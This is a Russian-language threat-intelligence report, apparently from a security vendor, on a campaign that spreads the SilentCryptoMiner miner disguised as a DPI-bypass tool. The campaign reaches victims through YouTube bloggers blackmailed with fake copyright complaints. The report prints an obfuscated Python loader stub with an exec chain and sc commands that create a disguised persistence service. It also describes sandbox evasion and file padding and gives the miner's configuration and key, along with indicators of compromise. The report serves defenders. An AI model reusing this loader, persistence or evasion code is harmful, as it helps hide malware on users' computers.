
В последние месяцы мы фиксируем рост случаев использования драйверов Windows Packet Divert для перехвата и модификации сетевого трафика в Windows-системах. Эти технологии используются в различных утилитах, включая те, которые предназначены для обхода блокировок и ограничений доступа к популярным зарубежным ресурсам. За последние полгода наши системы более 2 400 000 раз зафиксировали на устройствах пользователей такие драйверы.
Динамика числа обнаружений драйверов Windows Packet Divert (скачать)
Растущая популярность инструментов, использующих Windows Packet Divert, привлекает внимание злоумышленников, которые начали распространять вредоносное ПО под видом программ для обхода блокировок или модифицировать существующие программы, внедряя в них вредоносный код.
Подобное ПО часто распространяется в виде архивов с текстовой инструкцией по установке, в которой разработчики рекомендуют отключать защитные решения, ссылаясь на «ложные» срабатывания. Это играет на руку атакующим, позволяя им длительное время находиться в незащищенной системе без риска быть обнаруженными. Активнее всего по такой схеме распространялись популярные стилеры, ворующие пароли и другие учетные данные, RAT (Remote Access Tool), троянцы, предоставляющие скрытый удаленный доступ, и майнеры, использующие вычислительные мощности компьютера для добычи криптовалют. Следующие вредоносные семейства использовались чаще всего: NJRat, XWorm, Phemedrone, DCRat.
Шантаж — новая схема заражения
Недавно мы обнаружили активную массовую вредоносную кампанию, в ходе которой пользователей заражали майнером, распространяющимся под видом одного из инструментов для обхода блокировок, основанных на глубоком анализе трафика (DPI). Оригинальная версия этого инструмента опубликована на GitHub, где ее сохранили более 10 тысяч раз. Также существует отдельный проект на его основе, используемый для доступа к Discord и YouTube.
По данным нашей телеметрии, вредоносная кампания коснулась более двух тысяч жертв в России, однако в действительности их число может быть гораздо больше. Одним из каналов заражения стал YouTube-блогер с аудиторией 60 тысяч подписчиков, который опубликовал несколько видео с инструкцией по обходу блокировок, добавив в описание ссылку на вредоносный архив. В общей сложности эти ролики собрали более 400 тысяч просмотров. Позднее описание отредактировали, заменив ссылку на текст «(программа не работает)».
Ссылка вела на мошеннический сайт gitrok[.]com, на котором был размещен зараженный архив. Счетчик на момент публикации видео показывал более 40 тысяч скачиваний.
Позже в обсуждениях в оригинальном репозитории затронутого инструмента мы обнаружили сообщения о новой схеме распространения: злоумышленники отправляли жалобы на видео с инструкциями по обходу блокировок якобы от имени разработчиков этого ПО. Затем они шантажировали создателей контента удалением YouTube-канала под предлогом нарушения авторских прав, требуя в обмен на «помощь» разместить ролики с вредоносными ссылками.
Так мошенники могли целенаправленно манипулировать репутацией популярных блогеров, вынуждая их публиковать ссылки на зараженные файлы.
Помимо этого, мы обнаружили теневой Telegram-канал, который активно распространяет саму вредоносную сборку и видеоинструкцию на YouTube-канале с 340 тысячами подписчиков.
При этом в декабре 2024 года пользователи сообщали о распространении зараженной майнером версии этого же инструмента через другие Telegram- и YouTube-каналы, которые на данный момент уже удалены.
Зараженный архив
Во всех обнаруженных зараженных архивах содержался один дополнительный исполняемый файл, а оригинальный стартовый скрипт general.bat был модифицирован так, чтобы запускать этот файл при помощи PowerShell. В одной из версий, если защитное решение на устройстве жертвы удаляло вредоносный файл, измененный стартовый скрипт выводил сообщение «Файл не найден, отключите все антивирусы и перекачайте файл, поможет!», для того чтобы убедить жертву запустить вредоносный файл в обход защиты:
Вредоносный исполняемый файл является простым загрузчиком, написанным на Python и упакованным в исполняемое приложение при помощи PyInstaller. В некоторых случаях скрипт был дополнительно обфусцирован при помощи библиотеки PyArmor.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
import os import subprocess import sys import ctypes import base64 import tempfile import urllib.request as urllib import datetime import time import psutil import base64 import binascii cmb8F2SLqf1 = '595663786432497a536a424...335331453950513d3d' decoded_hex = bytes.fromhex(cmb8F2SLqf1).decode() step1 = base64.b64decode(decoded_hex).decode() exec(base64.b64decode(step1).decode()) |
Пример распакованного загрузчика
Загрузчик получает URL полезной нагрузки следующего этапа, обращаясь по жестко закодированному пути на одном из двух доменов: canvas[.]pet или swapme[.]fun. После загрузки он сохраняет ее во временной директории под именем t.py и запускает.
Следует отметить, что полезную нагрузку можно скачать только с российских IP-адресов; это говорит о том, что вредоносная кампания была нацелена на пользователей из России.
Вредоносный загрузчик второго этапа
Следующим этапом цепочки заражения являлся кастомный загрузчик на Python, основанный на фрагментах кода из открытых источников. Ниже приведены этапы выполнения этого скрипта.
- Проверка текущего окружения на признаки запуска в виртуальной машине или песочнице. Загрузчик сравнивает системные данные (имена компьютеров и пользователей, MAC-адреса, уникальные идентификаторы диска (HWID), параметры GPU и т. д.) с заранее заданными черными списками.
- Добавление директории AppData в исключения Microsoft Defender.
- GET-запрос по пути http://193.233.203[.]138/WjEjoHCj/t. В зависимости от ответа ( true/false) и заданной вероятности скрипт либо скачивает исполняемый файл с сервера по пути http://9x9o[.]com/q.txt, либо использует жестко закодированный блок данных в формате Base64. Полученный файл сохраняется по пути %LocalAppData%\driverpatch9t1ohxw8\di.exe.
- Преобразование полезной нагрузки. Только что записанный на диск исполняемый файл модифицируется путем дописывания в конец случайных блоков данных, пока его размер не составит 690 мегабайт. Эта техника применяется для усложнения автоматического анализа антивирусными решениями и песочницами.
- Закрепление в системе. Загрузчик создает службу DrvSvc, а в качестве описания устанавливает описание легитимной службы Windows Image Acquisition (WIA):
1234svc_name = "DrvSvc"svc_desc = "Launches applications associated with still image acquisition events."cmd_create = f'sc create {svc_name} binPath= "{exe_path}" start= auto'cmd_desc = f'sc description {svc_name} "{svc_desc}"'
SilentCryptoMiner
Загруженный файл di.exe представляет собой образец SilentCryptoMiner, основанный на базе майнера с открытым исходным кодом XMRig. Это скрытый майнер, поддерживающий добычу множества криптовалют (ETH, ETC, XMR, RTM и других) и различные алгоритмы. Для скрытности SilentCryptoMiner применяет технику process hollowing (подмену кода процесса), чтобы внедрить код майнера в один из системных процессов (в данном случае в dwm.exe). Зловред имеет возможность останавливать майнинг во время активности указанных в конфигурации процессов, а также предусматривает дистанционное управление через веб-панель. В коде майнера присутствуют проверки на запуск в виртуальном окружении и проверка размера самого исполняемого файла, который должен быть не менее 680 МБ и не более 800 МБ — таким образом злоумышленники убеждаются, что майнер был запущен загрузчиком, описанным выше.
Конфигурация майнера закодирована в Base64 и зашифрована алгоритмом AES CBC с ключом UXUUXUUXUUCommandULineUUXUUXUUXU и вектором инициализации UUCommandULineUU. Она включает множество параметров, таких как алгоритм и URL-адрес для майнинга, список программ, при запуске которых майнер временно прекращает работу и освобождает ресурсы, а также ссылку на удаленную конфигурацию, которую майнер будет получать каждые 100 минут.
1 2 3 4 5 6 |
--algo=rx/0 --url=150.241.93[.]90:443 --user="JAN2024" --pass="JAN2024" --cpu- max-threads-hint=20 --cinit-remote-config="https://pastebin.com/raw/kDDLXFac" -- cinit-stealth- targets="Taskmgr.exe,ProcessHacker.exe,perfmon.exe,procexp.exe,procexp64.exe" -- cinit-version="3.2.0" --tls --cinit-idle-wait=4 --cinit-idle-cpu=30 --cinit- id="uvduaauhlrqdhmpj" |
Для хранения конфигурационных файлов в этой кампании используется сервис Pastebin. Нам удалось обнаружить несколько аккаунтов, распространяющих такие файлы.
Выводы
Тема инструментов для обхода блокировок сейчас активно эксплуатируется для установки вредоносного ПО. В рассмотренной кампании злоумышленники распространяли майнер, но в будущем они могут использовать этот вектор для проведения более сложных атак, включая воровство данных и загрузку другого вредоносного ПО. Это лишний раз подчеркивает, что, несмотря на привлекательность таких инструментов, они представляют серьезную угрозу для безопасности данных пользователя.
Индикаторы компрометации
Зараженные архивы
574ed9859fcdcc060e912cb2a8d1142c
91b7cfd1f9f08c24e17d730233b80d5f
PyInstaller-загрузчики
9808b8430667f896bcc0cb132057a683
0c380d648c0c4b65ff66269e331a0f00
Вредоносные Python-скрипты
1f52ec40d3120014bb9c6858e3ba907f
a14794984c8f8ab03b21890ecd7b89cb
SilentCryptoMiner
a2a9eeb3113a3e6958836e8226a8f78f
5c5c617b53f388176173768ae19952e8
ac5cb1c0be04e68c7aee9a4348b37195
Вредоносные домены и IP-адреса
hxxp://gitrok[.]com
hxxp://swapme[.]fun
hxxp://canvas[.]pet
hxxp://9x9o[.]com
193.233.203[.]138
150.241.93[.]90
Майнер под прикрытием: как шантажируют блогеров для распространения SilentCryptoMiner под видом средства для обхода блокировок